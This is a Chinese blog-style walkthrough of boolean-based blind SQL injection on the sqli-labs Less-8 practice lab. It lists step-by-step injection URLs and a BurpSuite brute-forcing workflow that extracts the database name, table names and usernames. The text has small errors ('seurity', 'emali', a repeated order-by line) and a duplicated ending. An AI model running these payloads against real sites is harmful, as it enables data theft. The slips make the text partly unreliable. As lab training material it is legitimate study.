sql手工注入-布尔盲注(结合BurpSuite暴力破解)超详解
1、概述
有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为boolean型盲注和时间型盲注。
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。
2、sql知识储备
2.1 构造闭合:
在sql数据库中 – 空格后面是注释的内容
但是一般资深的程序员喜欢在’-- ’ 后面跟上加号表示此处有空格,所以现在常见到的都是’-- +’ 其实加号是被注释掉的,只是为了使’–'后面的空格更加明显.
2.2 本次实战必备sql常用函数
通过长度判断 length(): length(database())>=x
通过字符判断substr(): substr(database(),1,1) =‘s’
通过ascII码判断:ascii(): ascii(substr(database(),1,1)) =x
3、工具准备
3.1火狐浏览器插件(hackbar)
用途:方便向网页输入参数
火狐插件市场即可下载
3.2 BurpSuite 工具
这个可以网上自行下载,这里不做赘述(参考:http://t.csdnimg.cn/o7aIQ)
4、sqli 靶场第八关 实战
4.1 快速判断注入类型
通过之前的学习发现既不能使用联合查询也不能使用报错
http://localhost/Less-8/?id=1 //显示正常
http://localhost/Less-8/?id=1' //显示异常
此情况说明后面没有闭合完全,所以要使用注释符(-- +)构造闭合
http://localhost/Less-8/?id=1' -- + //显示正常
http://localhost/Less-8/?id=1' and 1=1 //显示正常
http://localhost/Less-8/?id=1' and 1=2 //显示异常,说明此处存在注入点
//判断回显列数
http://localhost/Less-8/?id=1' order by 3 -- s //显示正常
http://localhost/Less-8/?id=1' order by 3 -- s //显示异常
//说明回显列数为3
//首先尝试最简单的联合查询
http://localhost/Less-8/?id=1' union select 1,2,3 -- s //显示正常,但是没有回显点,说明不能用联合查询
//接着尝试报错注入
http://localhost/Less-8/?id=1' and ExtractValue('1', concat('~',database(),'~')) -- s //没有显示报错信息,所以不能使用报错查询
//综上既不能使用联合查询也不能使用报错
所以开始尝试布尔型注入
4.2 首先判断当前数据库名的长度(采用二分法)
我先假设目标数据库名字的长度为50,逐步用二分法尝试,直到完全测出目标数据库长度
http://localhost/Less-8/?id=1' and length(database())>50 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>25 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>12 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>6 -- s //显示正常,说明长度在6~12之间
http://localhost/Less-8/?id=1' and length(database())>7 -- s //显示正常
http://localhost/Less-8/?id=1' and length(database())>8 -- s //显示异常
大于7显示正常但是小于8显示异常,说明数据库名字的长度就是8
http://localhost/Less-8/?id=1' and length(database())=8 -- s //显示正常
4.3 判断数据库的具体字符
这里我就要采用工具(BurpSuite)来帮忙了,如果人力一条一条的判断时间花费就太长了,布尔注入就是这么的麻烦
这里要一个字母一个字母的来判断
判断方法
方法:通过substr()一个一个截取数据库名称的字符串,然后用ASCII()函数返回值与自己设定的值对比,然后查表就能得到一个一个的字母
SELECT SUBSTR(DATABASE(),1,1); #截取数据库名称的第一个字符
SELECT ASCII(SUBSTR(DATABASE(),1,1)); #将截取的字符,转换为ascll码,方便与比对
SELECT ASCII(SUBSTR(DATABASE(),1,1))<50; #成功就返回1,不成功就返回0
借助BurpSuite工具(安装方法参见:http://t.csdnimg.cn/rwXrj)
http://localhost/Less-8/?id=1' and (select ascii(substr(database(),1,1))>1) -- s
4.3.1 开启代理,同时开启BurpSuite捕获
4.3.2 查看捕获包
4.3.3 发送到爆破模块
4.3.4 设置爆破字段并选择爆破模式(sniper 狙击手模式)
ASCII对照表:http://ascii.wjccx.com/
4.3.5 配置爆破范围
4.3.6 开始爆破
第一个字符ascii值为115—> s
然后截取第二个字符
继续爆破第二个
第二个字符ascii值为101—> e
以此类推,重复上述步骤
第三个字符ascii值为99—> c
第四个字符ascii值为117—> u
第五个字符ascii值为114—> r
第六个字符ascii值为105—> i
第七个字符ascii值为116—> t
第八个字符ascii值为121—> y
4.3.7 合并爆破结果
数据库的名称为: seurity
再接再厉,继续爆破
4.4 判断表长度
老规矩还是采用二分法判断,不过这里要注意我们这里判断的是第一张表的长度
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>50 -- s //显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>25 -- s //显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>12 -- s //显示异常
.........
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6-- s //显示正常
说明第一张表的名字长度为6
判断第二张表的长度(改变limit 的值即可)
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>50 -- s //显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>25 -- s //显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>12 -- s //显示异常
.........
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8-- s //显示正常
说明第一张表的名字长度为8
注意:到limit 5,1会显示异常,说明只有四张表的
4.5 判断每个表名每个对应字符的ascii值(出于篇幅考虑这里不在演示如何使用工具,与上述大同小异)
4.5.1 判断第1个表名的所有字符的ascii值(emali)
判断语法
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- s
4.5.2 判断第2个表名的所有字符的ascii值(referers)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>80 -- s
4.5.3 判断第3个表名的所有字符的ascii值(uagents)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))>80 -- s
4.5.4 判断第4个表名的所有字符的ascii值(users)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))>80 -- s
4.6 如果找到users表,表中的字段 就获取内容值
判断长度:
http://localhost/Less-8/?id=1' and (length(username) from users limit 0,1)>4 -- s
判断内容:
http://localhost/Less-8/?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))>68
5、总结
布尔盲注确实是很麻烦,不过在实战中如果不可避免的要用到这个方法的话,也只能用,毕竟它确实能解决问题,我认为我作为初学者勤奋,苦练是快速进步的良好途径。
最后创作不易,请点赞收藏支持一波!后续会持续更新!
limit 0,1)>4 – s
判断内容:
http://localhost/Less-8/?id=1’ and (ascii(substr((select username from users limit 0,1),1,1)))>68
## 5、总结
布尔盲注确实是很麻烦,不过在实战中如果不可避免的要用到这个方法的话,也只能用,毕竟它确实能解决问题。
最后创作不易,请点赞收藏支持一波!后续会持续更新!